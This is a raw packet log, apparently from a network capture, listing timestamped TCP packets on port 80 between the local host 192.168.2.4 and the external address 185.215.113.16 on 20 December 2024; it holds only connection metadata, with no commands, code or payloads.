Dec 20, 2024 17:10:58.144201040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.144718885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.145086050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.145140886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.145849943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.146167040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.146977901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.147026062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.148180962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.148195982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.148242950 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.148305893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.148349047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.149271965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.149518967 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.149564981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.150500059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.150629997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.150722980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.151595116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.151844025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.152692080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.152741909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.152899981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.153023958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.153830051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.154402971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.154448986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.155133963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.155535936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.156130075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.156183958 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.156367064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.156476974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.157298088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.157776117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.157815933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.158479929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.159605980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.159617901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.159661055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.159811974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.159965038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.160763025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.160773993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.160831928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.258186102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.258341074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.258378983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.258836031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.259712934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.259759903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.259905100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.259918928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.259963989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.261029959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.262803078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.262818098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.262830973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.262857914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.262898922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.263360023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.296331882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.296349049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.296361923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.296372890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.296391010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.296423912 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.297071934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.297122002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.297697067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.298211098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.298326969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.299175978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.299348116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.299360037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.299405098 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.300471067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.300518036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.300703049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.301481009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.301563025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.301779032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.319125891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.319304943 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.319560051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.319721937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.319734097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.319766045 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.320873976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.320921898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.321223021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.321888924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.322016001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.322067022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.323127985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.323183060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.323426962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.324243069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.324259043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.324276924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.325366020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.325402975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.325854063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.326488972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.326529980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.326661110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.327586889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.327645063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.327753067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.328687906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.329313993 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.329488039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.329976082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.330051899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.330095053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.331023932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.331070900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.331669092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.332173109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.332186937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.332216024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.333132982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.333144903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.333175898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.334569931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.334609032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.334744930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.335707903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.335757017 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.336045980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.378120899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.378184080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.378232956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.553174973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.578242064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.672894001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.672939062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.673001051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.673408985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.673507929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.673557043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.674557924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.674665928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.674715042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.675723076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.675900936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.675945044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.676989079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.677088976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.677134037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.678093910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.678204060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.678247929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.679300070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.679455996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.679498911 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.680341005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.680633068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.680679083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.681426048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.681549072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.682760000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.682914972 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.682976961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.683728933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.683811903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.683868885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.684840918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.684945107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.684990883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.685961962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.686113119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.686158895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.687098980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.687519073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.687563896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.687597036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.688746929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.688790083 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.688836098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.689888000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.689938068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.690150976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.690944910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.690995932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.691070080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.692141056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.692183971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.692183971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.693269968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.693351984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.693443060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.694442987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.694484949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.694515944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.695617914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.695668936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.695820093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.696669102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.696748018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.697570086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.697810888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.697935104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.697985888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.698968887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.699163914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.699219942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.700066090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.700198889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.700247049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.701253891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.701384068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.701447964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.702444077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.702596903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.703531027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.703597069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.703757048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.704814911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.704881907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.704946995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.705802917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.705887079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.706954002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.707019091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.707063913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.708076954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.708137035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.708168983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.709234953 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.709321976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.709355116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.710360050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.710480928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.711522102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.711572886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.711594105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.712631941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.712752104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.713562965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.713783026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.713901043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.713938951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.715023041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.715138912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.715198994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.716080904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.716236115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.716286898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.717195034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.717339993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.717387915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.719129086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.719142914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.719727993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.719741106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.719782114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.721626043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.721637964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.722044945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.722048044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.722088099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.722322941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.722932100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.723012924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.723026991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.724054098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.724217892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.724280119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.728171110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.728183031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.728195906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.728205919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.728218079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.728251934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.728281021 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.728297949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.729280949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.729291916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.729549885 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.729789019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.729923010 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.729973078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.730907917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.731020927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.731081009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.732039928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.732125998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.732170105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.733186007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.733288050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.733335972 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.734409094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.734487057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.737577915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.738269091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.738322020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.738359928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.738394976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.738431931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.738471985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.738507986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.738970995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.739028931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.739029884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.741983891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.742046118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.742506981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.742562056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.742563963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.742599964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.742635012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.742650986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.744064093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.744100094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.744143963 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.745074034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.745456934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.745523930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.746455908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.746490955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.746912003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.746974945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.747009039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.748631001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.748684883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.748692036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.749429941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.749491930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.750171900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.751245022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.751374006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.751439095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.752229929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.752552986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.752620935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.753489017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:10:58.753550053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:10:58.753633976 CET	80	49744	185.215.113.16	192.168.2.4
